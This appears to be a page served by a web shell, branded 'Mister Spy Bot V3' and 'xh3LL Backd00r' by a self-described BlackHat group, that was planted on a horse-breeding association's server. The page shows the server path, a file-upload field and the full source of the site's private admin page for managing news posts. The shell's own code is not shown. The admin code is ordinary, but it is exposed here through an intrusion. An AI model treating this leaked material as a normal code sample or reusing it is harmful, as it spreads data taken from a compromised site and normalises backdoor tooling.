Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/noticias.php

<?php 
require_once("../inc_library_front.php");

/* verificamos si posee permisos */
if (!Session::CheckPerm(Modulo::Eventos))
	Session::NoPerm();
	
$oCategorias	= new Categorias();
$oColumnistas	= new Columnistas();

$arrCategorias	= $oCategorias->GetByIdTipo(ContenidoTipos::Noticias);
$arrColumnistas = $oColumnistas->GetAll();

foreach ($arrCategorias as $oCategoria)
{
	$oCategoria->Nombre = utf8_encode($oCategoria->Nombre);
}

?>
<!DOCTYPE html>
<html>
    <head>
        <?php include("ssi_head_inc.php"); ?>
		<link  href="css/cropper.css" rel="stylesheet">
        <script type="text/javascript">
        var Categorias = <?= json_encode($arrCategorias) ?>;
        </script>
	</head>
    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <?php include("ssi_header.php"); ?>

			<?php include("ssi_menu.php"); ?>

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">
                    
                    	<div class="row">
							<div class="col-sm-12">
								<h4 class="page-title">Noticias</h4>
								<ol class="breadcrumb">
									<li>
										<a href="index.php">Home</a>
									</li>
									<li class="active">
										Noticias
									</li>
								</ol>
								
							</div>
						</div>
                    	<div class="row">
                    		<div class="col-xs-12">
                                <div class="card-box">
                                	<div class="col-sm-8">
			                        </div>
			                        <div class="col-sm-4 text-right">
			                        	 <a href="#custom-modal" class="btn btn-default btn-md waves-effect waves-light m-b-30" data-animation="fadein" data-plugin="custommodal" 
			                                data-overlaySpeed="200" data-overlayColor="#36404a"><i class="md md-add"></i> Agregar Noticia</a>
			                        </div>
                                    <div id="jsGrid"></div>
                                </div>
                            </div>
						</div>
					</div>
				</div>
			</div>
			<!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="ClosePopup();">
			        <span>&times;</span><span class="sr-only">Cerrar</span>
			    </button>
			    <h4 class="custom-modal-title">Agregar Noticia</h4>
			    <div class="custom-modal-text text-left">
			        <form id="form-add-noticia" role="form" method="post" action="json-noticias-add.php" class="form-horizontal resize-image" enctype="multipart/form-data">
			        	<input type="hidden" id="Submitted" name="Submitted" value="1" />
			        	<div class="form-group">
                            <label class="col-sm-12" for="Categoria">Categoria</label>
                            <div class="col-sm-12">
                            	<select class="form-control" required name="IdCategoria" id="IdCategoria" required parsley-trigger="change" data-parsley-required-message="Por favor seleccione la categoria">
                            		<option value="">Seleccione la categoria</option>
                            		<?php
                            		foreach ($arrCategorias as $oCategoria)
                            		{
                            		?>
                            		<option value="<?= $oCategoria->IdCategoria ?>"><?= utf8_encode($oCategoria->Nombre) ?></option>
                            		<?php
                            		}
                            		?>
                            	</select>
                        	</div>
                        </div>
			        	<div id="Columnista-container" class="form-group" style="display: none">
                            <label class="col-sm-12" for="IdColumnista">Reglamento</label>
                            <div class="col-sm-12">
                            	<select class="form-control" required name="IdColumnista" id="IdColumnista" required parsley-trigger="change" data-parsley-required-message="Por favor seleccione el reglamento">
                            		<option value="">Seleccione el reglamento</option>
                            		<?php
                            		foreach ($arrColumnistas as $oColumnista)
                            		{
                            		?>
                            		<option value="<?= $oColumnista->IdColumnista ?>"><?= utf8_encode($oColumnista->Nombre) ?></option>
                            		<?php
                            		}
                            		?>
                            	</select>
                        	</div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Fecha">Fecha</label>
                            <div class="col-sm-12">
                            	<input type="text" class="form-control datepicker" id="Fecha" name="Fecha" placeholder="Fecha" required parsley-trigger="change" data-parsley-required-message="Por favor ingrese la fecha">
                        	</div>
                        </div>
                        
			        	<div class="form-group">
                            <label class="col-sm-12" for="Nombre">T&iacute;tulo</label>
                            <div class="col-sm-12">
                            	<input type="text" class="form-control" required name="Titulo" id="Titulo" placeholder="Nombre" required parsley-trigger="change" data-parsley-required-message="Por favor ingrese el nombre" />
                        	</div>
                        </div>
                        
                        <!-- <div class="form-group">
                            <label class="col-sm-12" for="Copete">Copete</label>
                            <div class="col-sm-12">
                            	<textarea class="form-control" id="Copete" name="Copete" placeholder="Copete"></textarea>
                        	</div>
                        </div> -->
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Cuerpo">Cuerpo</label>
                            <div class="col-sm-12">
                            	<textarea class="form-control" id="Cuerpo" name="Cuerpo" placeholder="Cuerpo"></textarea>
                        	</div>
                        </div>
                        
                        <!-- <div class="form-group">
                            <label class="col-sm-12" for="Video">Video</label>
                            <div class="col-sm-12">
                            	<input type="text" class="form-control" id="Video" name="Video" placeholder="Video">
                        	</div>
                        </div> -->
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Video">Im&aacute;gen principal</label>
                            <div class="col-sm-6 col-sm-12">
                            	<div class="img-container panel-body">
									<div class="file-selector">
										<img class="img-upl" id="image-1" src="images/upload-icon.png" data-id="1" alt="Picture">
										<input type="file" class="img-upload" data-id="1" name="Image" id="img-1"  accept="image/*" />
									</div>
									<div class="m-t-10">
										<button id="btn-rm-1" type="button" class="btn btn-danger waves-effect waves-light" disabled="disabled" onclick="RemoveImage('1');"><span class="btn-label"><i class="fa fa-times"></i></span> Eliminar im&aacute;gen</button>
									</div>
								</div>
                        	</div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Video">Archivos</label>
                            <div class="col-sm-12" id="files-container">
								
                        	</div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Destacado"><input type="checkbox" id="Destacado" name="Destacado" value="1"> Noticia destacada 
                                </label>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Fijo"><input type="checkbox" id="Fijo" name="Fijo" value="1"> Fijado 
                                </label>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Nombre">Prioridad</label>
                            <div class="col-sm-12">
                                <input type="number" class="form-control" required name="Prioridad" id="Prioridad" placeholder="Prioridad"  parsley-trigger="change" data-parsley-required-message="Por favor ingrese el nombre" />
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="FechaDesde">Mostrar Desde</label>
                            <div class="col-sm-12">
                                <input type="text" class="form-control datepicker" id="FechaDesde" name="FechaDesde" placeholder="Mostrar desde"  parsley-trigger="change" data-parsley-required-message="Por favor ingrese la fecha">
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="FechaHasta">Mostrar Hasta</label>
                            <div class="col-sm-12">
                                <input type="text" class="form-control datepicker" id="FechaHasta" name="FechaHasta" placeholder="Mostrar hasta"  parsley-trigger="change" data-parsley-required-message="Por favor ingrese la fecha">
                            </div>
                        </div>

                        <!-- <div class="form-group">
                            <div class="col-lg-6">
                                <div class="form-group col-sm-12" style="margin-bottom: 1px;">
                                    <label for="Keyword">Keywords</label>
                                    <input type="text" class="form-control" name="Keyword" id="Keyword" placeholder="Keyword" parsley-trigger="change" data-parsley-selection-autocomplete="#seleccionKeyword" data-parsley-validate-if-empty="true" />
                                </div>
                                <div class="col-sm-12" id="suggKeyword"></div>
                            </div>
                            <div class="col-lg-6">
                                <div class="form-group col-sm-12">
                                    <label for="seleccionKeyword">Seleccionadas</label>
                                    <div class="col-sm-12" id="seleccionKeyword"></div>
                                    <div class="col-sm-12 text-danger" id="errKeyword"></div>
                                </div>
                            </div>
                        </div> -->
                        
                        <div class="text-right">
                        	<button type="submit" class="btn btn-default waves-effect waves-light">Guardar</button>
                        	<button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="ClosePopup();">Cancelar</button>
                    	</div>
                    </form>
			    </div>
			</div>
			<!-- Modal -->
			<!-- Modal Update -->
			<?php include('ssi_noticia_modal_mod.php'); ?>
			
			<div class="modal fade" id="imagemodal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" style="z-index: 99999">
				<input type="hidden" id="imgId" name="imgId" value="">
				<div class="modal-dialog">
					<div class="modal-content">              
						<div class="modal-body">
							<button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Cerrar</span></button>
							<img src="" class="imagepreview" style="width: 100%;" >
							<div class="m-t-20 text-right">
								<button class="btn btn-default" onclick="RotateRight();"><i class="fa fa-rotate-right"></i></button>
								<button class="btn btn-default" onclick="RotateLeft();"><i class="fa fa-rotate-left"></i></button>
								<a class="btn btn-primary" id="btn-img-save">Recortar im&aacute;gen</a>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
		
		<?php include("ssi_scripts.php"); ?>
		
        <!-- jsgris table js -->
        <script src="<?= Config::UrlFiles ?>assets/plugins/jsgrid/js/jsgrid.min.js"></script>
        <script src="js/jquery.jsgrid.noticias.init.js"></script>
        <script src="js/jquery.jsgrid.init.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/autocomplete/jquery.mockjax.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/autocomplete/jquery.autocomplete.min.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/js/controles/autocompletar.js"></script>
        
		<script type="text/javascript" src="js/resize_img.js"></script>
		<script src="js/cropper.js"></script><!-- Cropper.js is required -->
		<script src="js/jquery-cropper.min.js"></script>

		<script src="js/modal_crop.js"></script>
        <script src="<?= Config::UrlFiles ?>assets/plugins/tinymce/tinymce.min.js"></script>
        <script type="text/javascript">
        var ratio = 12.91;
        function ClosePopup() {
        	$('#IdCategoria').val('');
        	$('#IdColumnista').val('');
        	$('#Titulo').val('');
        	$('#Fecha').val('');
        	$('#FechaHasta').val('');
        	$('#Ubicacion').val('');
        	$('#Direccion').val('');
        	$('#Copete').val('');
        	$('#Cuerpo').val('');
        	$('#Web').val('');
        	$('#Email').val('');
        	$('#Descripcion').val('');
        	$('#Video').val('');
        	$('#Prioridad').val('');
        	$('#FechaDesde').val('');
        	$('#FechaHasta').val('');
            $('#Destacado').prop('checked', false);
            $('#Fijo').prop('checked', false);
        	$('#image-1').attr('src', 'images/upload-icon.png');
        	$('#hd-1').remove();
        	$('#btn-rm-1').attr('disabled', 'disabled');
            $('#seleccionKeyword').empty();
        	
        	$('#files-container').empty();
        	$('#Columnista-container').hide();
        	
        	InsertFile(0);
        	SetupFile(1);
        	
        	$('#IdCategoriaU').val('');
        	$('#IdColumnistaU').val('');
        	$('#TituloU').val('');
        	$('#FechaU').val('');
        	$('#FechaHastaU').val('');
        	$('#UbicacionU').val('');
        	$('#DireccionU').val('');
        	$('#CopeteU').val('');
        	$('#CuerpoU').val('');
        	$('#WebU').val('');
        	$('#EmailU').val('');
        	$('#DescripcionU').val('');
        	$('#VideoU').val('');
        	$('#PrioridadU').val('');
        	$('#FechaDesdeU').val('');
        	$('#FechaHastaU').val('');
            $('#DestacadoU').prop('checked', false);
            $('#FijoU').prop('checked', false);
        	$('#image-1').attr('src', 'images/upload-icon.png');
        	$('#hd-1').remove();
            $('#hd-2').remove();
        	$('#modal-update #EliminarImagen').val(0);
        	$('#btn-rm-2').attr('disabled', 'disabled');
            $('#seleccionKeywordU').empty();
        	
        	$('#files-containerU').empty();
        	$('#Columnista-containerU').hide();
        	
        	InsertFile(100);
        	SetupFile(101);
        	
        	Custombox.close();
        }
        
        function RemoveFile(id) {
        	$('#file-container-' + id).remove();
        }
        
        function RemoveFileGuardado(id) {
        	$('#file-container-' + id).remove();
        	var ids = $('#EliminarArchivos').val();
        	
        	if (ids != '')
        		ids += ',';
        	
        	ids+= id;
        	$('#EliminarArchivos').val(ids);
        }
        
        function InsertFile(id) {
			var nextid = parseInt(id) + 1;
			
			if ($('#file-container-' + nextid).length > 0)
				return ;
			
			var template = '<div class="row" id="file-container-' + nextid + '" style="border: 1px solid #E3E3E3; padding: 10px;">';
			template+= '	<div class="col-sm-12" style="margin-bottom: 5px">';
			template+= '		<input type="file" class="file-upload" data-id="' + nextid + '" name="Archivo[]" id="file-' + nextid + '"  accept="" />';
			template+= '	</div>';
			template+= '	<div class="col-sm-8">';
			template+= '		<input type="text" class="form-control" id="NombreArchivo' + nextid + '" name="NombreArchivo[]" placeholder="Nombre del archivo">';
			template+= '	</div>';
			template+= '	<div class="col-sm-4">';
			template+= '		<button id="btn-rm-file-' + nextid + '" type="button" class="btn btn-danger waves-effect waves-light" disabled="disabled" onclick="RemoveFile(\'' + nextid + '\');" style="height: 38px"><span class="btn-label"><i class="fa fa-times"></i></span> Eliminar</button>';
			template+= '	</div>';
			template+= '</div>';
			
			if (nextid >= 100)
				$('#files-containerU').append(template);
			else
				$('#files-container').append(template);
			
			SetupFile(nextid);
		}
        
        function SetupFile(id) {
        	
        	$('#file-' + id).change(function() {
        		if (this.files.length == 0) {
        			$('#btn-rm-file-' + id).attr('disabled', 'disabled');
        			return;
        		}
        			
        		var id = $(this).attr('data-id');
        		
        		$('#btn-rm-file-' + id).removeAttr('disabled');
        		
        		InsertFile(id);
        	});
        }
        
        $(document).ready(function () {

        	$('#IdCategoria').change(function() {

        		if ($('#IdCategoria').val() == '11') {
        			$('#Columnista-container').show();
        		} else {
        			$('#Columnista-container').hide();
        			$('#IdColumnista').val('');
        		}

        	});

        	$('#IdCategoriaU').change(function() {

        		if ($('#IdCategoriaU').val() == '11') {
        			$('#Columnista-containerU').show();
        		} else {
        			$('#Columnista-containerU').hide();
        			$('#IdColumnistaU').val('');
        		}

        	});

            $('#Keyword, #KeywordU').on("keypress", function(e) {
                var target = $(this).attr('data-parsley-selection-autocomplete');
                /* ENTER PRESSED*/
                if (e.keyCode == 13) {
                    /* FOCUS ELEMENT */
                    var keyword = $(this).val();
                    $(this).val('');

                    var element = getItemTemplateDefault(keyword, keyword, 'keyword-seleccionado', 'suggKeyword', 'keyword');

                    $(target).append(element);

                    return false;
                }
            });
            
        	document.addEventListener('custombox.close', function() {
        		try {
        			tinymce.execCommand('mceRemoveControl', true, 'Cuerpo');
        		} catch(err) {}
        		try {
        			tinymce.execCommand('mceRemoveControl', true, 'CuerpoU');
        		try {
        		} catch(err) {}
        			tinymce.execCommand('mceRemoveControl', true, 'Copete');
        		} catch(err) {}
        		try {
        			tinymce.execCommand('mceRemoveControl', true, 'CopeteU');
        		} catch(err) {}
        		$('.mce-tinymce').remove();
        		$('#Cuerpo').show();
        		$('#CuerpoU').show();
        		$('#Copete').show();
        		$('#CopeteU').show();
        	});
        	document.addEventListener('custombox.complete', function() {
        	tinymce.init({
			            selector: "textarea",
			            theme: "modern",
			            height:200,
			            language: 'es_MX',
			            plugins: [
			                "advlist autolink link image lists charmap print preview hr anchor pagebreak spellchecker",
			                "searchreplace wordcount visualblocks visualchars code fullscreen insertdatetime media nonbreaking",
			                "save table contextmenu directionality emoticons template paste textcolor"
			            ],
			            toolbar: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image customImageUpload | preview media fullpage | forecolor backcolor", 
			            setup: function(editor) {
					        // Agrega un botón que abre un cuadro de diálogo para seleccionar archivos
					        editor.addButton('customImageUpload', {
					            icon: 'image',
					            tooltip: "Subir imagen",
					            onclick: function() {
					                // Crea un input de tipo archivo
					                var input = document.createElement('input');
					                input.setAttribute('type', 'file');
					                input.setAttribute('accept', 'image/*');

					                input.onchange = function() {
					                    var file = this.files[0];
					                    var reader = new FileReader();
									    reader.onload = function(e) {
									        editor.insertContent('<img src="' + e.target.result + '"/>');
									    };
									    reader.readAsDataURL(file);
					                };

					                input.click();
					            }
					        });
					    },
			            style_formats: [
			                {title: 'Bold text', inline: 'b'},
			                {title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
			                {title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
			                {title: 'Example 1', inline: 'span', classes: 'example1'},
			                {title: 'Example 2', inline: 'span', classes: 'example2'},
			                {title: 'Table styles'},
			                {title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
			            ]
			        });  
			    });  
    		
        	$('form').parsley({
        		excluded: "input[type=button], input[type=submit], input[type=reset], input[type=hidden], [disabled], :hidden"
        	});
        	
        	$('#btn-rm-2').click(function() {
        		$('#EliminarImagen').val(1);
        	});
        	
        	InsertFile(0);
        	SetupFile(1);
        	
        	
        	InsertFile(100);
        	SetupFile(101);
        	
        	$('#form-add-noticia, #form-mod-noticia').submit(function(e) {
        		tinyMCE.triggerSave()
        		var data = new FormData(this); 
				var count = 1;
				$('.hi-url').each(function() {
					var id = $(this).attr('data-id');
					var blob = dataURLToBlob($(this).val());
					data.append('Imagen-' + count, blob);
					count++;
				});
				data.append('Cantidad', count);
		
				$.ajax({
					url: $(this).attr('action'),
					data: data,
					cache: false,
					contentType: false,
					processData: false,
					type: 'POST',
					success: function(data){
						if (data.Success)
						{
							ClosePopup();
							$("#jsGrid").jsGrid("loadData");
						}
						else
							swal({
								title: "Error!",
								text: data.Error,
								type: "error",
								timer: 2000,
								showConfirmButton: false
							});
					}
				});
				
				e.preventDefault();
				return false;
			});
	
        });
        </script>
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat